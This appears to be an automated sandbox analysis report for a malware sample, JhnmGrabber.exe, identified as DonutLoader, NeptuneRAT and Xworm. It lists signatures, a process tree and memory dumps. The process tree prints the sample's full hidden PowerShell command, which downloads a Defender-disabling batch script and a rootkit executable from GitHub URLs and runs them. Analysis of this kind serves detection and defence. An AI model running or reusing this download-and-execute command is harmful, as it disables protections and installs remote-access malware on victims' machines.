Analysis
- max time kernel
299s - max time network
302s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
- submitted
06/08/2026, 03:39
General
- Target JhnmGrabber.exe
- Size 1.4MB
- Sample260806-d7pm1sff33
- SHA256 cb22ecf141895afa986c898edd2961d8ddbbd8f4515cd8bb48e36a93d582dd81
Malware Config
Extracted
-
ps1
-
exe.dropper
https://github.com/charlie-60/R/raw/refs/heads/main/MasonRootkit.exe
-
exe.dropper
https://raw.githubusercontent.com/ninhpn1337/Disable-Windows-Defender/main/source.bat
Signatures
- Family: DonutLoader
DonutLoader is a position-independent code that enables in-memory execution of VBScript, JScript, EXE, DLL files and dotNET assemblies.
- Family: NeptuneRAT, MasonRAT
NeptuneRAT aka MasonRAT is a trojan written in C#.
- Family: Xworm
Xworm is a remote access trojan written in C#.
- Detect Xworm Payload 1 IoCs
- Detects DonutLoader 1 IoCs
- Detects NeptuneRAT stealer 1 IoCs
- Badlisted process makes network request 1 IoCs
Network request originating from process or tool commonly abused by malware.
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
- Modifies registry class 2 IoCs
- Suspicious behavior: EnumeratesProcesses 4 IoCs
- Suspicious behavior: GetForegroundWindowSpam 1 IoCs
- Suspicious use of AdjustPrivilegeToken 64 IoCs
- Suspicious use of WriteProcessMemory 2 IoCs
Processes
-
C:\Windows\explorer.exeexplorer.exe /LOADSAVEDWINDOWS1⤵
- Modifies registry class
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\JhnmGrabber.exe"C:\Users\Admin\AppData\Local\Temp\JhnmGrabber.exe"2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "$settings = '{\"WD\": false, \"adminrun\": false}' | ConvertFrom-Json; $randomString = \"2PewmOBXXq\"; if ($settings.WD) { $settings.adminrun = $true; (New-Object System.Net.WebClient).DownloadFile(\"https://raw.githubusercontent.com/ninhpn1337/Disable-Windows-Defender/main/source.bat\", $env:TEMP + '\' + $randomString + '.bat'); Start-Process -FilePath ($env:TEMP + '\' + $randomString + '.bat') -WindowStyle Hidden -Wait -Verb RunAs; }; if ($settings.adminrun) { $url = \"https://github.com/charlie-60/R/raw/refs/heads/main/MasonRootkit.exe\"; $outputPath = $env:TEMP + '\' + 'MasonRootkit.exe'; (New-Object System.Net.WebClient).DownloadFile($url, $outputPath); Start-Process $outputPath -Verb RunAs; } else { $url = \"https://github.com/charlie-60/R/raw/refs/heads/main/MasonRootkit.exe\"; $outputPath = $env:TEMP + '\' + 'MasonRootkit.exe'; (New-Object System.Net.WebClient).DownloadFile($url, $outputPath); Start-Process $outputPath; }"2⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
memory/2716-12-0x00007FFEB9710000-0x00007FFEBA0B4000-memory.dmp
memory/2716-15-0x00007FFEB9710000-0x00007FFEBA0B4000-memory.dmp
memory/2716-21-0x00007FFEB9710000-0x00007FFEBA0B4000-memory.dmp
memory/2716-19-0x0000025E24120000-0x0000025E24648000-memory.dmp
memory/2716-5-0x00007FFEB9710000-0x00007FFEBA0B4000-memory.dmp
memory/2716-4-0x00007FFEB9710000-0x00007FFEBA0B4000-memory.dmp
memory/2716-8-0x0000025E0B510000-0x0000025E0B532000-memory.dmp
memory/2716-9-0x00007FFEB9710000-0x00007FFEBA0B4000-memory.dmp
memory/2716-11-0x00007FFEB9710000-0x00007FFEBA0B4000-memory.dmp
memory/2716-18-0x0000025E23A20000-0x0000025E23BE2000-memory.dmp
memory/2716-14-0x00007FFEB9710000-0x00007FFEBA0B4000-memory.dmp
memory/2716-13-0x00007FFEB9710000-0x00007FFEBA0B4000-memory.dmp
memory/2716-17-0x00007FFEB9710000-0x00007FFEBA0B4000-memory.dmp
memory/2716-10-0x00007FFEB9710000-0x00007FFEBA0B4000-memory.dmp
memory/2716-16-0x00007FFEB9710000-0x00007FFEBA0B4000-memory.dmp
memory/5476-0-0x00000000029C0000-0x00000000029D5000-memory.dmp
memory/5476-2-0x00000000034D0000-0x00000000034E2000-memory.dmp
memory/5476-3-0x00007FFEB9710000-0x00007FFEBA0B4000-memory.dmp
memory/5476-1-0x00007FFEB989F000-0x00007FFEB98A0000-memory.dmp
memory/5476-22-0x00007FFEB9710000-0x00007FFEBA0B4000-memory.dmp